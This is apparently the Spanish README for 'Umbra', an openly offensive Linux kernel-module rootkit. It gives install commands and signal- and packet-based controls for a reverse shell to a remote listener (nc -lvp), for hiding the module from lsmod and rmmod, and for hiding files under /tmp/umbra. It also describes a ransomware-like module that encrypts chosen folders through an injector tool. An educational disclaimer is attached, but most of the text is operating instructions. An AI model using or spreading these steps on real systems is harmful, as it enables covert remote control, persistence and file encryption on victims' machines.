
Un rootkit LKM dirigido a versiones de kernel 4.x y 5.x que abre una puerta trasera capaz de lanzar una shell inversa a un host remoto, ejecutar malware y más.

Umbra es un rootkit LKM experimental controlable de forma remota para kernels 4.x y 5.x (hasta 5.7) que abre una puerta trasera de red capaz de lanzar shells inversas a hosts remotos, ejecutar malware de forma remota y mucho más.
El rootkit sigue en desarrollo, aunque las características enumeradas a continuación ya son totalmente operativas.

Nota: Este rootkit ha sido desarrollado y probado con el kernel 5.4.0 y Ubuntu 18.04.

Más funcionalidades llegarán en futuras actualizaciones.
Este rootkit es puramente con fines educativos. No soy responsable de ningún daño derivado de su uso indebido.
Ten también en cuenta que Umbra solo incorpora mecanismos ligeros de ocultación y protección. No está pensado para usarse en un escenario real.
IMPORTANTE: Si vas a probar este rootkit en tu propia máquina, recomiendo encarecidamente usar una VM.
Acerca de los módulos de Umbra: El módulo ransom usa un mecanismo de cifrado trivial, pero puede y ciertamente cifrará cualquier carpeta de tu máquina. Aunque los archivos pueden descifrarse fácilmente, definitivamente no recomiendo ejecutarlo contra tu carpeta raíz o similar salvo en un entorno controlado.
Recuerda que debes tener disponible un kernel 4.x o 5.x.
apt install linux-headers-$(uname -r)
Configura tu ruta de inclusión para cubrir el directorio de cabeceras del kernel (normalmente en /usr/src). Si usas vscode, puedes consultar .vscode/c_cpp_properties.json para ver un ejemplo de qué directorios incluir.
Clona el proyecto
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
Si ya has ejecutado el script anteriormente y solo deseas instalar Umbra en el kernel, puedes ejecutar:
sudo insmod ./umbra.ko
Asegúrate de que Umbra no esté en modo invisible; de lo contrario, esto fallará.
sudo rmmod umbra
kill -50 1
Establece tu IP y puerto deseados en CONFIG.H antes de compilar el rootkit. Por defecto, 127.0.0.1:5888
Comienza a escuchar en el host remoto.
nc -lvp 5888
kill -51 1
Nota: Umbra también intenta iniciar la shell inversa al cargarse.
Esto evitará que el rootkit sea mostrado por comandos como lsmod o que sea eliminado mediante rmmod.
kill -52 1
Esto revierte el modo invisible si está activo.
kill -53 1
El Umbra Injector puede ejecutarse tanto antes de que Umbra esté instalado (obteniendo así la shell una vez que esté activo) como después de que Umbra esté instalado en el sistema objetivo.
./injector -S 127.0.0.1
La puerta trasera escucha paquetes con el siguiente payload: UMBRA_PAYLOAD_GET_REVERSE_SHELL.
También puedes crear tu propio inyector usando mi librería RawTCP.
Esto evitará que el rootkit sea mostrado por comandos como lsmod o que sea eliminado mediante rmmod.
./injector -i 127.0.0.1
Esto revierte el modo invisible si está activo.
./injector -u 127.0.0.1
Puedes ver toda la información sobre cómo ejecutar el Umbra Injector mediante:
./injector -h
Los módulos de Umbra serán almacenados por el script install.sh en /tmp/umbra, donde Umbra los ocultará. El directorio no será visible para comandos como ls o similares.
Este módulo puede lanzar ataques remotos similares a ransomware mediante el Umbra Injector. Los archivos cifrados aparecen con la extensión .ubr.
Actualmente el mecanismo de cifrado es un simple NOP a nivel de bits, como prueba de concepto. Puedes editar el módulo para incluir tu propio algoritmo de cifrado.
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
El desarrollo de este rootkit implicó una cantidad sustancial de investigación sobre LKMs y técnicas de rootkits. La siguiente es una lista incompleta de los recursos que utilicé: Cómo crear LKMs:
Referencia de syscalls de Linux:
Algunas referencias sobre rootkits:
Este proyecto está licenciado bajo la licencia GPLv2. Consulta LICENSE